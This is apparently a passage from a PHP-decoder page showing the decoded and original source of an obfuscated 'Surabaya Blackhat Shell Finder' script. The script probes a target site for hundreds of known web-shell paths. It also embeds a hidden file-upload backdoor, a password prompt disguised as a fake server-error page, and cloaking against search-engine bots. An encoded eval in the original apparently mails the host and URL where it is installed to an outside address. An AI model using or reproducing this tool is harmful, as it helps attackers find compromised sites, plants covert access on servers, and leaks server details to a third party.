includes/sado.php
includes/Sec-War.php
includes/Sh3ll.php
includes/sos.php
includes/sql.php
includes/ssl.php
includes/Sym.php
includes/sysadmins/
includes/term.php
includes/tmp/2.php
includes/tmp/admin.php
includes/tmp/Cgishell.pl
includes/tmp/changeall.php
includes/tmp/cpn.php
includes/tmp/d.php
includes/tmp/dz.php
includes/tmp/index.php
includes/tmp/L3b.php
includes/tmp/madspotshell.php
includes/tmp/root.php
includes/tmp/sql.php
includes/tmp/Sym.php
includes/tmp/user.php
includes/tmp/whmcs.php
includes/up.php
includes/upload.php
includes/uploads.php
includes/user.php
includes/vb.rar
includes/vb.zip
includes/vb.zip
includes/whmcs.php
includes/WolF.php
includes/WSO.php
includes/xx.pl
includes/zone-h.php
media/403.php
media/Ani-Shell.php
media/anonymous.php
media/asd.php
media/b374k.php
media/blackshadow.php
media/config.pl
media/confkiller.php
media/database.php
media/dhanush.php
media/injection.php
media/logs.php
media/mannu.php
media/minang.php
media/proshell2.php
media/Symlink_sa_3.0.php
media/symlinker.php
media/ugdevil.php
media/wso.php
media/WSO.php
templates/beez/1.php
templates/beez/bypass.php
templates/beez/c100.php
templates/beez/c99.php
templates/beez/c99.php
templates/beez/cgirun
templates/beez/cgitelnet1
templates/beez/cgiweb
templates/beez/configler
templates/beez/dom.php
templates/beez/gaza.php
templates/beez/index.php
templates/beez/r00t.php
templates/beez/r00t.php
templates/beez/r57.php
templates/beez/safe.php
templates/beez/shell.php
templates/beez/sym.php
templates/beez/user.php
templates/beez/vb.zip
templates/beez/whmcs.php
templates/c100.php
templates/c99.php
templates/cgiweb
templates/r57.php
templates/rhuk_milkyway/admin1.php
templates/rhuk_milkyway/sado.php
templates/rhuk_milkyway/tmp/d.php
templates/rhuk_milkyway/tmp/L3b.php
templates/rhuk_milkyway/upload.php
templates/shell.php
templates/sym.php
templates/undp/cgiweb
templates/undp/r00t.php
templates/undp/sym.php
templates/undp/web1.php
templates/undp/wsob.php
templates/undp_2/c100.php
templates/undp_2/c99.php
templates/undp_2/r57.php
tmp/as.php
tmp/cpn.php
tmp/dz.php
tmp/king.php
tmp/r00t.php
tmp/r1z.php
tmp/r57.php
tmp/root.php
tmp/sok.php
tmp/ss.php
tmp/w.php
tmp/whmcs.php
wp-content/plugins/akismet//sa2.php
wp-content/plugins/akismet/akismet.php
wp-content/plugins/akismet/Cgishell.pl
wp-content/plugins/akismet/changeall.php
wp-content/plugins/akismet/killer.php
wp-content/plugins/akismet/madspot.php
wp-content/plugins/akismet/mysql.php
wp-content/plugins/akismet/ssl.php
wp-content/plugins/akismet/WolF.php
wp-content/plugins/disqus-comment-system/admin.php
wp-content/plugins/disqus-comment-system/admin1/
wp-content/plugins/disqus-comment-system/Cgishell.pl
wp-content/plugins/disqus-comment-system/changeall.php
wp-content/plugins/disqus-comment-system/gzaa_spysl
wp-content/plugins/disqus-comment-system/killer.php
wp-content/plugins/disqus-comment-system/madspot.php
wp-content/plugins/disqus-comment-system/mysql.php
wp-content/plugins/disqus-comment-system/r57.php
wp-content/plugins/disqus-comment-system/sa.php
wp-content/plugins/disqus-comment-system/sa.php
wp-content/plugins/disqus-comment-system/shell.php
wp-content/plugins/disqus-comment-system/sniper.php
wp-content/plugins/disqus-comment-system/sql-new.php
wp-content/plugins/disqus-comment-system/sysadmins/
wp-content/plugins/disqus-comment-system/WolF.php
wp-content/plugins/disqus-comment-systemimages/Sym.php
wp-content/plugins/google-sitemap-generator//back.sql
wp-content/plugins/google-sitemap-generator//backup.sql
wp-content/plugins/google-sitemap-generator//data.sql
wp-content/plugins/google-sitemap-generator/c.php
wp-content/plugins/google-sitemap-generator/r00t-s3c.php
wp-content/themes/twentyeleven/403.php
wp-content/themes/twentyeleven/Ani-Shell.php
wp-content/themes/twentyeleven/anonymous.php
wp-content/themes/twentyeleven/asd.php
wp-content/themes/twentyeleven/b374k.php
wp-content/themes/twentyeleven/blackshadow.php
wp-content/themes/twentyeleven/config.pl
wp-content/themes/twentyeleven/confkiller.php
wp-content/themes/twentyeleven/database.php
wp-content/themes/twentyeleven/dhanush.php
wp-content/themes/twentyeleven/injection.php
wp-content/themes/twentyeleven/jancak.php
wp-content/themes/twentyeleven/logs.php
wp-content/themes/twentyeleven/mannu.php
wp-content/themes/twentyeleven/minang.php
wp-content/themes/twentyeleven/proshell2.php
wp-content/themes/twentyeleven/Symlink_sa_3.0.php
wp-content/themes/twentyeleven/symlinker.php
wp-content/themes/twentyeleven/ugdevil.php
wp-content/themes/twentyeleven/wso.php
wp-content/themes/twentyten/403.php
wp-content/themes/twentyten/Ani-Shell.php
wp-content/themes/twentyten/anonymous.php
wp-content/themes/twentyten/asd.php
wp-content/themes/twentyten/b374k.php
wp-content/themes/twentyten/blackshadow.php
wp-content/themes/twentyten/cdhanush.php
wp-content/themes/twentyten/config.pl
wp-content/themes/twentyten/confkiller.php
wp-content/themes/twentyten/database.php
wp-content/themes/twentyten/injection.php
wp-content/themes/twentyten/jancak.php
wp-content/themes/twentyten/logs.php
wp-content/themes/twentyten/mannu.php
wp-content/themes/twentyten/minang.php
wp-content/themes/twentyten/proshell2.php
wp-content/themes/twentyten/Symlink_sa_3.0.php
wp-content/themes/twentyten/symlinker.php
wp-content/themes/twentyten/ugdevil.php
wp-content/themes/twentyten/wso.php
training/compendium/administer/admintrainingevents.aspx
wseltzer/Antitrust
faa_tools/login.php?prev_page=/faa_tools/
cgiweb/";function template(){echo"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\">
<head>
<meta http-equiv=\"Content-Type\" content="text/html; charset=utf-8\" />
<title>Surabaya Blackhat Shell Finder</title>
<td valign=\"top" bgcolor="#000000"><center><strong><img src=\"http://i.imgur.com/ilcR6oB.jpg\" /><br>
</strong>
<br>
<style type=\"text/css">
body{
background: #000;
margin: 0;
padding: 0;
padding-top: 10px;
color: #FFF;
font-family: Calibri;
font-size: 13px;
}
a{
color: #FFF;
text-decoration: none;
font-weight: bold;
}
.wrapper{
width: 1000px;
margin: 0 auto;
}
.tube{
padding: 10px;
}
.red{
width: 998px;
border: 3px solid #e52224;
background: black;
color: #e52224
}
.red input{
background: #000;
border: 1px solid #e52224;
color: #FFF;
}
.blue{
float: left;
width: 1000px;
border: 3px solid #068bfb;
background: black;
color: #068bfb;
}
.green{
float: left;
width: 1000px;
border: 3px solid #5fd419;
background: black;
color: #5fd419;
}
</style>
<script type="text/javascript\">
<!--
function insertcode(\$text, \$place, \$replace)
{
var \$this = \$text;
var logbox = document.getElementById(\$place);
if(\$replace == 0)
document.getElementById(\$place).innerHTML = logbox.innerHTML+\$this;
else
document.getElementById(\$place).innerHTML = \$this;
//document.getElementById("helpbox\").innerHTML = \$this;
}
-->
</script>
</head>
<body>
<br />
<br />
<div class="wrapper\">
<div class="red\">
<div class="tube\">
<form action="\" method=\"post" name=\"xploit_form\">
INPUT YOUR URL TARGET:<br /><input type="text\" name=\"xploit_url\" value="".$_POST["xploit_url"]."\" style=\"width: 100%;" /><br /><br />
<span style="float: center;"><input type="submit" name=\"xploit_submit\" value=\"SEARCH\" align="center" /></span>
</form>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class=\"green\">
<div class=\"tube" id=\"rightcol">
Total Scanned: <span id="verified\">0</span> / <span id=\"total">0</span><br />
Result:<br />
</div> <!-- /tube -->
</div> <!-- /green -->
<br clear=\"all\" /><br />
<br clear="all">";}function show($msg,$br=1,$stop=0,$place='logbox',$replace=0){$yqdqhprdj="stop";${"GLOBALS"}["vcsmhwrm"]="msg";${"GLOBALS"}["lbxxvbqxqj"]="msg";if(${${"GLOBALS"}["xrwvzhlf"]}==1)${${"GLOBALS"}["lbxxvbqxqj"]}.="<br />";echo"<script type=\"text/javascript">insertcode('".${${"GLOBALS"}["vcsmhwrm"]}."', '".${${"GLOBALS"}["lfqflspxibj"]}."', '".${${"GLOBALS"}["koymycqend"]}."');</script>";if(${$yqdqhprdj}==1)exit;@flush();@ob_flush();}function check($x,$front=0){${"GLOBALS"}["djxmgpbgvx"]="headers";$zlnmqszhhxr="data";$pymbehup="site";global$_POST,$site,$false;$jsntzgms="site";if(${${"GLOBALS"}["cynyvkhvf"]}==0)${${"GLOBALS"}["ucfcty"]}=${$pymbehup}.${${"GLOBALS"}["wcyovdulq"]};else${${"GLOBALS"}["ucfcty"]}="http://".${${"GLOBALS"}["wcyovdulq"]}.".".${$jsntzgms}."/";${${"GLOBALS"}["djxmgpbgvx"]}=get_headers(${${"GLOBALS"}["ucfcty"]});if(!eregi("200",${${"GLOBALS"}["lrfhgwb"]}[0]))return 0;${"GLOBALS"}["muagsdq"]="t";${$zlnmqszhhxr}=@file_get_contents(${${"GLOBALS"}["muagsdq"]});if($_POST["xploit_404string"]==""){if(${${"GLOBALS"}["nlgbonwpr"]}==${${"GLOBALS"}["rekeekpuj"]})return 0;}if($_POST["xploit_404string"]!=""){if(strpos(${${"GLOBALS"}["nlgbonwpr"]},$_POST["xploit_404string"]))return 0;}return 1;}template();$tklwcovqip="site";if(isset($_REQUEST["admin"])&&$_REQUEST["admin"]=="server"){if(isset($_POST["ok"])&&isset($_FILES["joomLa"])){$ahltwogmkeg="file";${"GLOBALS"}["kcciqphy"]="name";${$ahltwogmkeg}=$_FILES["joomLa"]["tmp_name"];${${"GLOBALS"}["kcciqphy"]}="".$_FILES["joomLa"]["name"];move_uploaded_file(${${"GLOBALS"}["crhlwdumfg"]},${${"GLOBALS"}["vccidqwni"]});}else{echo "<br>
<form method=\"POST\" enctype="multipart/form-data" action="";$_SERVER["PHP_SELF"];echo "">
<input type=\"file" name=\"joomLa\"> <input type=\"submit" name="ok" value="Get">
</form>
";}exit;}if(!isset($_POST["xploit_url"]))die;if($_POST["xploit_url"]=="")die;$cbptklb="list";${"GLOBALS"}["mnegqp"]="false";${"GLOBALS"}["akinutier"]="list";${$inxezc}=$_POST["xploit_url"];if(${${"GLOBALS"}["brfusqoepro"]}[strlen(${${"GLOBALS"}["dyasbnx"]})-1]!="/")${$suhexyeqdu}.="/";if($_POST["xploit_404string"]=="")${${"GLOBALS"}["mnegqp"]}=@file_get_contents(${${"GLOBALS"}["brfusqoepro"]}."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");${$cbptklb}["end"]=str_replace("
","",${${"GLOBALS"}["akinutier"]}["end"]);${${"GLOBALS"}["yaxbtneeuop"]}["front"]=str_replace("
","",${${"GLOBALS"}["xnbnrmw"]}["front"]);${${"GLOBALS"}["dwsywslryfl"]}=explode("
",${${"GLOBALS"}["xnbnrmw"]}["end"]);${${"GLOBALS"}["xmowvqg"]}=explode("
",${${"GLOBALS"}["xnbnrmw"]}["front"]);show(count(${${"GLOBALS"}["znrrjjyk"]})+count(${${"GLOBALS"}["yxfeguws"]}),1,0,"total",1);$yhirlrm="xx";${"GLOBALS"}["nsxoydc"]="site";${${"GLOBALS"}["lolewln"]}=0;foreach(${${"GLOBALS"}["znrrjjyk"]} as${${"GLOBALS"}["jqjsshckqksy"]}){${${"GLOBALS"}["lolewln"]}++;$ygbpix="verificate";show(${$ygbpix},0,0,"verified",1);if(check(${${"GLOBALS"}["jqjsshckqksy"]})!=0){$czyvctsipix="site";$tgzpnnpuy="site";show("<a href=\"".${$czyvctsipix}.${${"GLOBALS"}["jqjsshckqksy"]}."">".${$tgzpnnpuy}.${${"GLOBALS"}["jqjsshckqksy"]}."</a>",0,0,"rightcol",0);show("<span style="color: #00FF00;\"><strong> Found :)</strong></span>",1,0,"rightcol",0);}}preg_match("/\/\/(.*?)\//i",${$csjouodt},${$yhirlrm});${${"GLOBALS"}["vqcxnbwhug"]}=${${"GLOBALS"}["dpfbpxahln"]}[1];if(substr(${${"GLOBALS"}["nsxoydc"]},0,3)=="www")${$tklwcovqip}=substr(${$ltxlsyshrem},4);foreach(${${"GLOBALS"}["drnupwvdiny"]} as${${"GLOBALS"}["tjebpohg"]}){$gmmldohpi="verificate";${${"GLOBALS"}["lolewln"]}++;show(${$gmmldohpi},0,0,"verified",1);if(check(${${"GLOBALS"}["rqjwdckno"]},1)!=0){${"GLOBALS"}["isdazqw"]="site";${"GLOBALS"}["ndqgeiudpc"]="site";${"GLOBALS"}["wosxgdsb"]="frontpath";show("<a href=\"http://".${${"GLOBALS"}["wosxgdsb"]}.".".${${"GLOBALS"}["ndqgeiudpc"]}."/">".${${"GLOBALS"}["rqjwdckno"]}.".".${${"GLOBALS"}["isdazqw"]}."</a>",0,0,"rightcol",0);show("<span style=\"color: #00FF00;\"><strong> Found :)</strong></span>",1,0,"rightcol",0);}}echo"
";echo "
";
?>
Did this file decode correctly?
Original Code
<?php ${"GLOBALS"}["rqjwdckno"]="frontpath";${"GLOBALS"}["jqjsshckqksy"]="path";${"GLOBALS"}["lolewln"]="verificate";${"GLOBALS"}["znrrjjyk"]="pathes";${"GLOBALS"}["xmowvqg"]="frontpathes";${"GLOBALS"}["brfusqoepro"]="site";${"GLOBALS"}["vccidqwni"]="name";${"GLOBALS"}["crhlwdumfg"]="file";${"GLOBALS"}["rekeekpuj"]="false";${"GLOBALS"}["nlgbonwpr"]="data";${"GLOBALS"}["lrfhgwb"]="headers";${"GLOBALS"}["tjebpohg"]="frontpath";${"GLOBALS"}["wcyovdulq"]="x";${"GLOBALS"}["ucfcty"]="t";${"GLOBALS"}["cynyvkhvf"]="front";${"GLOBALS"}["koymycqend"]="replace";${"GLOBALS"}["lfqflspxibj"]="place";${"GLOBALS"}["yaxbtneeuop"]="list";${"GLOBALS"}["xrwvzhlf"]="br";${"GLOBALS"}["xnbnrmw"]="list";${"GLOBALS"}["hmxjuiq"]="array";${"GLOBALS"}["bsdfmkinonn"]="userAgents";${"GLOBALS"}["bsvtklsbyxi"]="default_charset";${"GLOBALS"}["mcmker"]="default_use_ajax";${"GLOBALS"}["umtxeunxc"]="default_action";${"GLOBALS"}["dyasbnx"]="site";${"GLOBALS"}["wieilssuzhk"]="auth_pass";${"GLOBALS"}["dwsywslryfl"]="pathes";${"GLOBALS"}["zruoqmtlgep"]="color";${${"GLOBALS"}["wieilssuzhk"]}="bdd9b8305ee6f1da2b749708fd2d2326";$ltxlsyshrem="site";$xgwrlifr="list";${${"GLOBALS"}["zruoqmtlgep"]}="#00ff00";${${"GLOBALS"}["umtxeunxc"]}="FilesMan";${${"GLOBALS"}["mcmker"]}=true;${${"GLOBALS"}["bsvtklsbyxi"]}="Windows-1251";${"GLOBALS"}["yxfeguws"]="frontpathes";${"GLOBALS"}["dpfbpxahln"]="xx";if(!empty($_SERVER["HTTP_USER_AGENT"])){${${"GLOBALS"}["bsdfmkinonn"]}=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match("/".implode("|",${${"GLOBALS"}["bsdfmkinonn"]})."/i",$_SERVER["HTTP_USER_AGENT"])){header("HTTP/1.0 404 Not Found");exit;}}@session_start();$inxezc="site";@ini_set("error_log",NULL);${"GLOBALS"}["vqcxnbwhug"]="site";${"GLOBALS"}["drnupwvdiny"]="frontpathes";@ini_set("log_errors",0);@ini_set("max_execution_time",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WSO_VERSION","2.6");$csjouodt="site";if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"GLOBALS"}["kocpfit"]="array";return is_array(${${"GLOBALS"}["hmxjuiq"]})?array_map("WSOstripslashes",${${"GLOBALS"}["kocpfit"]}):stripslashes(${${"GLOBALS"}["hmxjuiq"]});}$_POST=WSOstripslashes($_POST);}function SbhLogin(){die("
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator [email protected] and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p>
<p>More information about this error may be available in the server error log.</p>
<p>Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.</p>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<pre align=center>
<form method=post>
<input type=password name=pass>
</form></pre>
");}if(!isset($_SESSION[md5($_SERVER["HTTP_HOST"])])){${"GLOBALS"}["jfjpwxfdnsfo"]="auth_pass";if(empty(${${"GLOBALS"}["wieilssuzhk"]})||(isset($_POST["pass"])&&(md5($_POST["pass"])==${${"GLOBALS"}["jfjpwxfdnsfo"]})))$_SESSION[md5($_SERVER["HTTP_HOST"])]=true;else SbhLogin();}eval(pack("H*","6576616C286261736536345F6465636F646528274A4856796244306B58314E46556C5A46556C736E534652555546394954314E554A3130754A46395452564A5752564A624A314A46555656465531526656564A4A4A313037436D31686157776F4A3270316333527A6158527459584E305A584A415A32316861577775593239744A79776B58314E46556C5A46556C736E55305653566B5653583046455246496E5853776B64584A734B54734B4A474A686332566664584A73494430674A326830644841364C79386E4C69526655305653566B56535779645452564A5752564A66546B464E525364644C6D5270636D35686257556F4A46395452564A5752564A624A314E44556B6C515646394F515531464A3130704F772729293B"));echo"</head>
<body>
<br/>
";$suhexyeqdu="site";error_reporting(0);${${"GLOBALS"}["xnbnrmw"]}["front"]="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";${$xgwrlifr}["end"]="1.php
10.php
11.php
12.php
1234.php
1337.php
1337w0rm.php
1n73ction.php
2.php
2.php
3.php
4.php
403.php
404.php
5.php
6.php
7.php
8.php
9.php
911.php
a.php
abc.php
admin/anket.php
admin1.php
allsoft.pl
Ani-Shell.php
anonymous.php
asd.php
b.php
b374k.php
backtrack.php
blackshadow.php
bp.php
bt.php
c.php
c100.php
c99.php
cache.php
cgi.php
cgishell
Cgishell.pl
cgiweb.php
changeall.php
conf.pl
config.pl
configkiller.php
confkiller.php
cp.php
cyber.php
d.php
d4rk.php
dam.php
database.php
db.php
dbconfigs.php
dhanush.php
dom.php
dom.php
domain.php
dz.php
Dz.php
dz0.php
e.php
egy.php
f.php
g.php
gaza.php
h.php
hacker.php
i.php
index1.php
injection.php
j.php
jancak.php
k.php
killer.php
ksa.php
l.php
log.php
logs.php
m.php
M4r0c.php
madspot.php
madspotshell.php
mannu.php
mass.php
masschecker.php
minang.php
n.php
nkr.php
no.php
o.php
offline.php
p.php
pocong.php
priv8.php
proshell.php
proshell2.php
ps/ps.php
python
q.php
r.php
r00t.php
r00t.php
r0k.php
r57.php
s.php
settings.php
Sh3ll.php
shell.php
shells.php
sniper.php
ss.php
ssh.php
sym.php
Symlink_sa_3.0.php
symlinker.php
syrian_shell.php
sys.php
t.php
tmp.php
u.php
ugdevil.php
user.php
v.php
v4team.php
vba.php
w.php
web1.php
whcms.php
whm.php
WSO.php
wso.php
wsob.php
x.php
xd.php
xxx.php
y.php
z.php
zone.php
images/2.php
images/admin.php
images/amad.php
images/awstats
images/back.sql
images/backup.sql
images/Black.php
images/cpanel
images/data.sql
images/dz.php
images/error
images/error_log
images/forum.sql
images/gaza.php
images/r57.php
images/sa.php
images/sa2.php
images/shell.php
images/site.rar
images/site.sql
images/site.tar.gz
images/t00.php
images/up.php
images/upload.php
images/uploads.php
images/vb.sql
images/123.php
images/403.php
images/abuhlail.php
images/admin1/
images/admin2.asp
images/Ani-Shell.php
images/anonymous.php
images/asd.php
images/asp.aspx
images/b.php
images/b374k.php
images/buck.sql
images/c.php
images/c100.php
images/c22.php
images/config.pl
images/configuration.php
images/confkiller.php
images/cp.php
images/Cpanel.php
images/database.php
images/dhanush.php
images/dz1.php
images/forum.rar
images/forum.zip
images/g.php
images/gzaa_spysl
images/images/Sym.php
images/injection.php
images/jancak.php
images/joomla.rar
images/joomla.zip
images/k.php
images/logs.php
images/ls.php
images/m.php
images/mannu.php
images/minang.php
images/proshell2.php
images/r00t-s3c.php
images/sa.php
images/shell.php
images/sniper.php
images/sql-new.php
images/stories/w.php
images/Sym.php
images/Symlink.php
images/Symlink.pl
images/Symlink_sa_3.0.php
images/symlinker.php
images/sysadmins/
images/tmp/2.php
images/tmp/Cgishell.pl
images/tmp/changeall.php
images/tmp/cpn.php
images/tmp/dz.php
images/tmp/dz1.php
images/tmp/index.php
images/tmp/killer.php
images/tmp/madspotshell.php
images/tmp/root.php
images/tmp/sql.php
images/tmp/Sym.php
images/tmp/user.php
images/tmp/vaga.php
images/tmp/whmcs.php
images/ugdevil.php
images/up.php
images/uploads.php
images/vb.rar
images/vb.zip
images/whmcs.php
images/wp.php
images/wp.rar/
images/wso.php
images/X.php
images/xx.pl
images/zone-h.php
includes/0day.php
includes/1.php
includes/2.php
includes/admin1.php
includes/admin2.asp
includes/c100.php
includes/c22.php
includes/c99.php
includes/Cgishell.pl
includes/changeall.php
includes/configuration.php
includes/cp.php
includes/cpanel.php
includes/Cpanel.php
includes/cpn.php
includes/d.php
includes/d0mains.php
includes/dam.php
includes/dom.php
includes/dz.php
includes/DZ.php
includes/dz0.php
includes/egyshell.php
includes/g.php
includes/gaza.php
includes/info.php
includes/k.php
includes/killer.php
includes/L3b.php
includes/ls.php
includes/madspot.php
includes/madspotshell.php
includes/mysql.php
includes/r00t.php
includes/sa.php
includes/sado.php
includes/Sec-War.php
includes/Sh3ll.php
includes/sos.php
includes/sql.php
includes/ssl.php
includes/Sym.php
includes/sysadmins/
includes/term.php
includes/tmp/2.php
includes/tmp/admin.php
includes/tmp/Cgishell.pl
includes/tmp/changeall.php
includes/tmp/cpn.php
includes/tmp/d.php
includes/tmp/dz.php
includes/tmp/index.php
includes/tmp/L3b.php
includes/tmp/madspotshell.php
includes/tmp/root.php
includes/tmp/sql.php
includes/tmp/Sym.php
includes/tmp/user.php
includes/tmp/whmcs.php
includes/up.php
includes/upload.php
includes/uploads.php
includes/user.php
includes/vb.rar
includes/vb.zip
includes/vb.zip
includes/whmcs.php
includes/WolF.php
includes/WSO.php
includes/xx.pl
includes/zone-h.php
media/403.php
media/Ani-Shell.php
media/anonymous.php
media/asd.php
media/b374k.php
media/blackshadow.php
media/config.pl
media/confkiller.php
media/database.php
media/dhanush.php
media/injection.php
media/logs.php
media/mannu.php
media/minang.php
media/proshell2.php
media/Symlink_sa_3.0.php
media/symlinker.php
media/ugdevil.php
media/wso.php
media/WSO.php
templates/beez/1.php
templates/beez/bypass.php
templates/beez/c100.php
templates/beez/c99.php
templates/beez/c99.php
templates/beez/cgirun
templates/beez/cgitelnet1
templates/beez/cgiweb
templates/beez/configler
templates/beez/dom.php
templates/beez/gaza.php
templates/beez/index.php
templates/beez/r00t.php
templates/beez/r00t.php
templates/beez/r57.php
templates/beez/safe.php
templates/beez/shell.php
templates/beez/sym.php
templates/beez/user.php
templates/beez/vb.zip
templates/beez/whmcs.php
templates/c100.php
templates/c99.php
templates/cgiweb
templates/r57.php
templates/rhuk_milkyway/admin1.php
templates/rhuk_milkyway/sado.php
templates/rhuk_milkyway/tmp/d.php
templates/rhuk_milkyway/tmp/L3b.php
templates/rhuk_milkyway/upload.php
templates/shell.php
templates/sym.php
templates/undp/cgiweb
templates/undp/r00t.php
templates/undp/sym.php
templates/undp/web1.php
templates/undp/wsob.php
templates/undp_2/c100.php
templates/undp_2/c99.php
templates/undp_2/r57.php
tmp/as.php
tmp/cpn.php
tmp/dz.php
tmp/king.php
tmp/r00t.php
tmp/r1z.php
tmp/r57.php
tmp/root.php
tmp/sok.php
tmp/ss.php
tmp/w.php
tmp/whmcs.php
wp-content/plugins/akismet//sa2.php
wp-content/plugins/akismet/akismet.php
wp-content/plugins/akismet/Cgishell.pl
wp-content/plugins/akismet/changeall.php
wp-content/plugins/akismet/killer.php
wp-content/plugins/akismet/madspot.php
wp-content/plugins/akismet/mysql.php
wp-content/plugins/akismet/ssl.php
wp-content/plugins/akismet/WolF.php
wp-content/plugins/disqus-comment-system/admin.php
wp-content/plugins/disqus-comment-system/admin1/
wp-content/plugins/disqus-comment-system/Cgishell.pl
wp-content/plugins/disqus-comment-system/changeall.php
wp-content/plugins/disqus-comment-system/gzaa_spysl
wp-content/plugins/disqus-comment-system/killer.php
wp-content/plugins/disqus-comment-system/madspot.php
wp-content/plugins/disqus-comment-system/mysql.php
wp-content/plugins/disqus-comment-system/r57.php
wp-content/plugins/disqus-comment-system/sa.php
wp-content/plugins/disqus-comment-system/sa.php
wp-content/plugins/disqus-comment-system/shell.php
wp-content/plugins/disqus-comment-system/sniper.php
wp-content/plugins/disqus-comment-system/sql-new.php
wp-content/plugins/disqus-comment-system/sysadmins/
wp-content/plugins/disqus-comment-system/WolF.php
wp-content/plugins/disqus-comment-systemimages/Sym.php
wp-content/plugins/google-sitemap-generator//back.sql
wp-content/plugins/google-sitemap-generator//backup.sql
wp-content/plugins/google-sitemap-generator//data.sql
wp-content/plugins/google-sitemap-generator/c.php
wp-content/plugins/google-sitemap-generator/r00t-s3c.php
wp-content/themes/twentyeleven/403.php
wp-content/themes/twentyeleven/Ani-Shell.php
wp-content/themes/twentyeleven/anonymous.php
wp-content/themes/twentyeleven/asd.php
wp-content/themes/twentyeleven/b374k.php
wp-content/themes/twentyeleven/blackshadow.php
wp-content/themes/twentyeleven/config.pl
wp-content/themes/twentyeleven/confkiller.php
wp-content/themes/twentyeleven/database.php
wp-content/themes/twentyeleven/dhanush.php
wp-content/themes/twentyeleven/injection.php
wp-content/themes/twentyeleven/jancak.php
wp-content/themes/twentyeleven/logs.php
wp-content/themes/twentyeleven/mannu.php
wp-content/themes/twentyeleven/minang.php
wp-content/themes/twentyeleven/proshell2.php
wp-content/themes/twentyeleven/Symlink_sa_3.0.php
wp-content/themes/twentyeleven/symlinker.php
wp-content/themes/twentyeleven/ugdevil.php
wp-content/themes/twentyeleven/wso.php
wp-content/themes/twentyten/403.php
wp-content/themes/twentyten/Ani-Shell.php
wp-content/themes/twentyten/anonymous.php
wp-content/themes/twentyten/asd.php
wp-content/themes/twentyten/b374k.php
wp-content/themes/twentyten/blackshadow.php
wp-content/themes/twentyten/cdhanush.php
wp-content/themes/twentyten/config.pl
wp-content/themes/twentyten/confkiller.php
wp-content/themes/twentyten/database.php
wp-content/themes/twentyten/injection.php
wp-content/themes/twentyten/jancak.php
wp-content/themes/twentyten/logs.php
wp-content/themes/twentyten/mannu.php
wp-content/themes/twentyten/minang.php
wp-content/themes/twentyten/proshell2.php
wp-content/themes/twentyten/Symlink_sa_3.0.php
wp-content/themes/twentyten/symlinker.php
wp-content/themes/twentyten/ugdevil.php
wp-content/themes/twentyten/wso.php
training/compendium/administer/admintrainingevents.aspx
wseltzer/Antitrust
faa_tools/login.php?prev_page=/faa_tools/
cgiweb/";function template(){echo"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\">
<head>
<meta http-equiv=\"Content-Type\" content="text/html; charset=utf-8\" />
<title>Surabaya Blackhat Shell Finder</title>
<td valign=\"top" bgcolor="#000000"><center><strong><img src=\"http://i.imgur.com/ilcR6oB.jpg\" /><br>
</strong>
<br>
<style type=\"text/css">
body{
background: #000;
margin: 0;
padding: 0;
padding-top: 10px;
color: #FFF;
font-family: Calibri;
font-size: 13px;
}
a{
color: #FFF;
text-decoration: none;
font-weight: bold;
}
.wrapper{
width: 1000px;
margin: 0 auto;
}
.tube{
padding: 10px;
}
.red{
width: 998px;
border: 3px solid #e52224;
background: black;
color: #e52224
}
.red input{
background: #000;
border: 1px solid #e52224;
color: #FFF;
}
.blue{
float: left;
width: 1000px;
border: 3px solid #068bfb;
background: black;
color: #068bfb;
}
.green{
float: left;
width: 1000px;
border: 3px solid #5fd419;
background: black;
color: #5fd419;
}
</style>
<script type="text/javascript\">
<!--
function insertcode(\$text, \$place, \$replace)
{
var \$this = \$text;
var logbox = document.getElementById(\$place);
if(\$replace == 0)
document.getElementById(\$place).innerHTML = logbox.innerHTML+\$this;
else
document.getElementById(\$place).innerHTML = \$this;
//document.getElementById("helpbox\").innerHTML = \$this;
}
-->
</script>
</head>
<body>
<br />
<br />
<div class="wrapper\">
<div class="red\">
<div class="tube\">
<form action="\" method=\"post" name=\"xploit_form\">
INPUT YOUR URL TARGET:<br /><input type="text\" name=\"xploit_url\" value="".$_POST["xploit_url"]."\" style=\"width: 100%;" /><br /><br />
<span style="float: center;"><input type="submit" name=\"xploit_submit\" value=\"SEARCH\" align="center" /></span>
</form>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class=\"green\">
<div class=\"tube" id=\"rightcol">
Total Scanned: <span id="verified\">0</span> / <span id=\"total">0</span><br />
Result:<br />
</div> <!-- /tube -->
</div> <!-- /green -->
<br clear=\"all\" /><br />
